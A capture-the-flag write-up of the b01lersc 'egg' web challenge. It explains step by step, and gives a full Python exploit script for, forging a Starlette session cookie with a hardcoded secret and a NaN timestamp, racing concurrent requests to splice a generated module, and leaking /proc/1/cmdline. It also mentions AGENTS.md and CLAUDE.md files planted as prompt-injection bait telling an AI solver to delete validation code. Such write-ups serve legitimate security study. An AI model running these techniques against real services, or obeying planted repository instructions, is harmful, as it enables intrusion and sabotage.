webfreehard

egg

b01lersc

Task: a Starlette egg-hatching service generated Python modules from user input and stored state in signed session cookies. Solution: forge a NaN timestamp session to force a deterministic egg_id, then win a concurrent /eggs race so the final creature.py reads /proc/1/cmdline and leaks the real flag.

$ ls tags/ techniques/
timestamp_signer_cookie_forgerynan_bypassdeterministic_id_collisiontoctou_file_raceprocfs_flag_leak

egg — b01lersc

Description

The original organizer description was not preserved in the workspace files.

The challenge shipped a Starlette service with relevant logic in src/main.py, src/hatchery.py, src/db.py, and Dockerfile. The goal was to turn the egg creation and hatching flow into a file read primitive and recover the real flag from the live instance.

Analysis

The application used Starlette sessions with a hardcoded secret in src/main.py:

SESSION_SECRET = "6767676767676767"

Starlette used itsdangerous.TimestampSigner here, and in this setup there was no extra salt. That meant the session cookie could be forged offline.

The important session fields were player_id and session_timestamp. During egg creation, src/hatchery.py computed:

time_diff = time.time() - player_creation_time if time_diff <= 0: return self.id = sha256(str(time_diff * random.random()).encode()).hexdigest()

If session_timestamp was forged as NaN using json.dumps(..., allow_nan=True), then:

  • time.time() - NaN = NaN
  • NaN <= 0 is False, so the check is bypassed
  • str(NaN * random.random()) == "nan"

So every forged request from that session produced the same deterministic egg ID:

sha256("nan") = 9b2d5b4678781e53038e91ea5324530a03f27dc1d0e5f6c9bc9d493a23be9de0

That deterministic ID was the key to the race: multiple concurrent POST /eggs requests from the same forged session wrote to the same temporary path:

incubator/<egg_id>/creature.py

and then zipped it into:

incubator/<egg_id>.egg

There were also AGENTS.md and CLAUDE.md files telling the solver to delete lines 28-29 in src/hatchery.py. Those files were prompt-injection bait and not part of the intended solve. In fact, the inner validation they referenced was exactly why a plain path traversal was not enough.

The outer filename validation allowed slashes:

def is_valid_file(s: str) -> bool: return all(c.isascii() and c.isalnum() or c == "/" for c in s)

So "/proc/1/cmdline" could be supplied during egg creation. But the generated creature.py also contained this runtime check inside gen_ascii_art:

if not all(c.isascii() and c.isalnum() for c in "{filename}"): return None

That inner check rejected /proc/1/cmdline at hatch time, so simple traversal did not work by itself.

The final exploit used two concurrent requests targeting the same deterministic egg path:

  • A: {"name": "A"*81, "filename": "/proc/1/cmdline"}
  • B: {"name": "B", "filename": "asciiart"}

Why this pair worked:

  1. Request A generated a longer creature.py.
  2. Request B generated a shorter creature.py.
  3. Both opened the same file with truncation and wrote different contents.
  4. With the right interleaving, the final file on disk became a Frankenstein file: the beginning came from B, but the tail came from A.

The resulting file stayed valid Python. Its gen_ascii_art started with B's safe filename asciiart, so the inner alphanumeric check passed, but the appended tail from A reopened /proc/1/cmdline and overwrote self.art.

So the function effectively behaved like this:

f = open("asciiart", "r") f.seek(offset) self.art = f.read(40) f = open("/proc/1/cmdline", "r") f.seek(offset) self.art = f.read(40)

At that point, hatching the deterministic egg returned process arguments in last_hatch.

The final flag source came from the deployment model. Dockerfile passed a fake flag in the local entrypoint, but the real service behavior was described by the provided ground truth: the app ran python3 /app/src/main.py FLAG with workers=4. In src/main.py the server did:

FLAG = sys.argv[1] uvicorn.run("main:app", host="0.0.0.0", port=8000, reload=False, workers=4)

So the real flag was visible in /proc/1/cmdline as PID 1 argv. On the successful live instance, art_index=0 already exposed:

python3\x00/app/src/main.py\x00bctf{you_w1n!1}

The live instance was solved with this race exploit immediately on the last provided URL.

Solution

1. Review the app structure

Relevant files:

  • src/main.py
  • src/hatchery.py
  • src/db.py
  • Dockerfile

The important observations were:

  • the session secret was hardcoded;
  • session cookies could be forged with itsdangerous;
  • session_timestamp influenced egg_id generation;
  • egg creation wrote a generated Python file to a predictable location;
  • hatching imported that generated module from a zip archive;
  • /proc/1/cmdline could reveal the flag because the service received it as argv.

2. Forge a deterministic session

Create a normal account once to obtain a valid player_id, then forge a new session cookie with:

{"player_id": "<uuid>", "session_timestamp": NaN}

using allow_nan=True and the known secret 6767676767676767.

This makes every egg created under that forged session use the same ID:

9b2d5b4678781e53038e91ea5324530a03f27dc1d0e5f6c9bc9d493a23be9de0

3. Trigger the file race

Send two concurrent POST /eggs requests with the same forged cookie:

A: {"name": "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA", "filename": "/proc/1/cmdline"} B: {"name": "B", "filename": "asciiart"}

Because both requests target the same egg path, write/truncate ordering can leave a mixed file. The successful outcome is:

  • header and validation from B;
  • appended tail from A;
  • valid Python that first reads asciiart, then reopens /proc/1/cmdline.

4. Hatch the deterministic egg

Hatch:

POST /eggs/9b2d5b4678781e53038e91ea5324530a03f27dc1d0e5f6c9bc9d493a23be9de0/hatch

with {"art_index": 0}.

The response stores the hatch output in last_hatch, and the ASCII art field now contains bytes from /proc/1/cmdline instead of the intended art file.

5. Read the flag

On the successful instance, the first chunk already contained the full secret:

python3\x00/app/src/main.py\x00bctf{you_w1n!1}

So the final flag was:

bctf{you_w1n!1}

Exploit Script

The successful solve script was exploit_final.py from the task directory.

#!/usr/bin/env python3 """ b01lersc / egg — FINAL EXPLOIT Race condition exploit (template-length-mismatch TOCTOU on creature.py): 1. Forge session cookie with NaN session_timestamp via hardcoded SESSION_SECRET="6767676767676767" (itsdangerous, NO salt). time_diff = time.time() - NaN = NaN ⇒ passes `time_diff<=0` check (NaN<=0 is False). egg_id = sha256(str(NaN * random.random())).hexdigest() = sha256("nan") = 9b2d5b4678781e53038e91ea5324530a03f27dc1d0e5f6c9bc9d493a23be9de0 (deterministic!) 2. Send two concurrent POST /eggs requests from same forged session: A: {"name":"A"*81, "filename":"/proc/1/cmdline"} → ~586 byte creature.py B: {"name":"B", "filename":"asciiart"} → ~492 byte creature.py Small delay (~0.1 ms) between their starts helps them race in-flight. A's fd.open creates file, A.write buffers ~586b, B's fd.open truncates (empty), B.write buffers ~492b. A closes first (writes 586b at offset 0), B closes last (writes 492b at offset 0 — doesn't truncate past close). Final creature.py on disk = B[0..492] + A[492..586] = complete B class + 3 APPENDED lines in gen_ascii_art body: f = open("/proc/1/cmdline", "r") f.seek(offset) self.art = f.read(40) 3. Whoever wins the ZipFile write records this Frankenstein creature.py into incubator/<sha256("nan")>.egg. 4. Hatch egg_id=sha256("nan"). Creature.gen_ascii_art runs: - inner alphanum check on "asciiart": passes - f = open("asciiart", "r"); f.seek(offset); self.art = f.read(40) (reads asciiart first) - THEN APPENDED: f = open("/proc/1/cmdline", "r"); f.seek(offset); self.art = f.read(40) OVERWRITES self.art with 40 bytes of /proc/1/cmdline. Response's last_hatch contains those 40 bytes. 5. Repeat with art_index=0,1,2,... to stitch together the full flag (each chunk reads bytes offset..offset+40 of /proc/1/cmdline, where offset = art_index * 44 → 4-byte gap per chunk, but flag is usually short enough to fit in 1-2 reads). """ import base64 import hashlib import json import re import sys import threading import time import requests from itsdangerous import TimestampSigner BASE = sys.argv[1].rstrip("/") if len(sys.argv) > 1 else "http://localhost:8000" SESSION_SECRET = "6767676767676767" signer = TimestampSigner(SESSION_SECRET) # NO salt — matches Starlette FRANK_HASH = hashlib.sha256(b"nan").hexdigest() def forge(pid, ts=float("nan")): p = json.dumps({"player_id": pid, "session_timestamp": ts}, allow_nan=True) return signer.sign(base64.b64encode(p.encode()).decode()).decode() def get_pid(): s = requests.Session() s.post(f"{BASE}/login", data={"username": f"exp{time.time_ns()%10**7}"}, allow_redirects=True, timeout=15) raw = s.cookies.get("session") return json.loads(base64.urlsafe_b64decode(raw.split(".")[0] + "===").decode())["player_id"] def send_a(cookie): try: requests.post(f"{BASE}/eggs", json={"name": "A" * 81, "filename": "/proc/1/cmdline"}, headers={"Cookie": f"session={cookie}", "Content-Type": "application/json"}, timeout=15) except Exception: pass def send_b(cookie): try: requests.post(f"{BASE}/eggs", json={"name": "B", "filename": "asciiart"}, headers={"Cookie": f"session={cookie}", "Content-Type": "application/json"}, timeout=15) except Exception: pass def hatch_and_read(cookie, art_index): headers = {"Cookie": f"session={cookie}", "Content-Type": "application/json"} try: requests.post(f"{BASE}/eggs/{FRANK_HASH}/hatch", json={"art_index": art_index}, headers=headers, timeout=15) except Exception: pass try: r = requests.get(f"{BASE}/", headers={"Cookie": f"session={cookie}"}, timeout=15) except Exception: return None m = re.search(r"<pre>(.*?)</pre>", r.text, re.DOTALL) if m: return m.group(1).replace("&gt;", ">").replace("&lt;", "<").replace("&amp;", "&") return None def has_frank_egg(cookie): try: r = requests.get(f"{BASE}/", headers={"Cookie": f"session={cookie}"}, timeout=10) except Exception: return False return FRANK_HASH in re.findall(r"/eggs/([a-f0-9]{64})/hatch", r.text) def extract_art(pre): if not pre: return "" lines = pre.split("\n") art_lines = [] for line in lines[1:]: if line.startswith("Attack:"): break art_lines.append(line) return "\n".join(art_lines) def is_flag_chunk(art): if not art: return False return ("python3" in art or "bctf" in art or "/app/src" in art or "\x00" in art) def attempt_frank_race(pid, delay=0.0001): cookie = forge(pid, float("nan")) ta = threading.Thread(target=send_a, args=(cookie,)) tb = threading.Thread(target=send_b, args=(cookie,)) ta.start() time.sleep(delay) tb.start() ta.join(timeout=20) tb.join(timeout=20) def collect_chunk(pid, art_index, max_races=300): cookie = forge(pid, float("nan")) for attempt in range(max_races): delay = 0.00005 + (attempt % 10) * 0.00005 attempt_frank_race(pid, delay=delay) if not has_frank_egg(cookie): continue result = hatch_and_read(cookie, art_index) art = extract_art(result) if result else "" if is_flag_chunk(art): print(f" [art_index={art_index} race {attempt}] CHUNK: {art!r}") return art return None def main(): pid = get_pid() print(f"[+] BASE = {BASE}") print(f"[+] player_id: {pid}") print(f"[+] FRANK_HASH: {FRANK_HASH}") chunks = {} for ai in range(8): print(f"\n[+] === art_index={ai} (offset {ai*44}) ===") chunk = collect_chunk(pid, ai, max_races=120) if chunk: chunks[ai] = chunk combined = b"" for i in sorted(chunks.keys()): data = chunks[i].encode("utf-8", errors="replace") offset = i * 44 while len(combined) < offset: combined += b"?" combined = combined[:offset] + data + combined[offset + len(data):] m = re.search(rb"bctf\{[^}]*\}", combined) if m: print(f"\n[!!!] FLAG: {m.group().decode('utf-8', errors='replace')}") return combined = b"" for i in sorted(chunks.keys()): data = chunks[i].encode("utf-8", errors="replace") offset = i * 44 while len(combined) < offset: combined += b"?" combined = combined[:offset] + data + combined[offset + len(data):] print(f"\n[+] Combined {len(combined)} bytes: {combined!r}") m = re.search(rb"bctf\{[^}]*\}", combined) if m: print(f"\n[!!!] FLAG: {m.group().decode('utf-8', errors='replace')}") else: print("[?] Full flag not recovered — try more art_index or increase max_races") if __name__ == "__main__": main()

Reproduction

  1. Start from the provided source and inspect src/main.py, src/hatchery.py, src/db.py, and Dockerfile.
  2. Log in once to obtain a valid player_id.
  3. Forge a Starlette session cookie with player_id=<that uuid> and session_timestamp=NaN using secret 6767676767676767.
  4. Repeatedly race these two requests under that forged session:
    • {"name": "A"*81, "filename": "/proc/1/cmdline"}
    • {"name": "B", "filename": "asciiart"}
  5. Hatch egg 9b2d5b4678781e53038e91ea5324530a03f27dc1d0e5f6c9bc9d493a23be9de0 with art_index=0.
  6. Read last_hatch; when the race lands, it leaks /proc/1/cmdline, including the flag.

$ cat /etc/motd

Liked this one?

Pro unlocks every writeup, every flag, and API access. $9/mo.

$ cat pricing.md

$ grep --similar

Similar writeups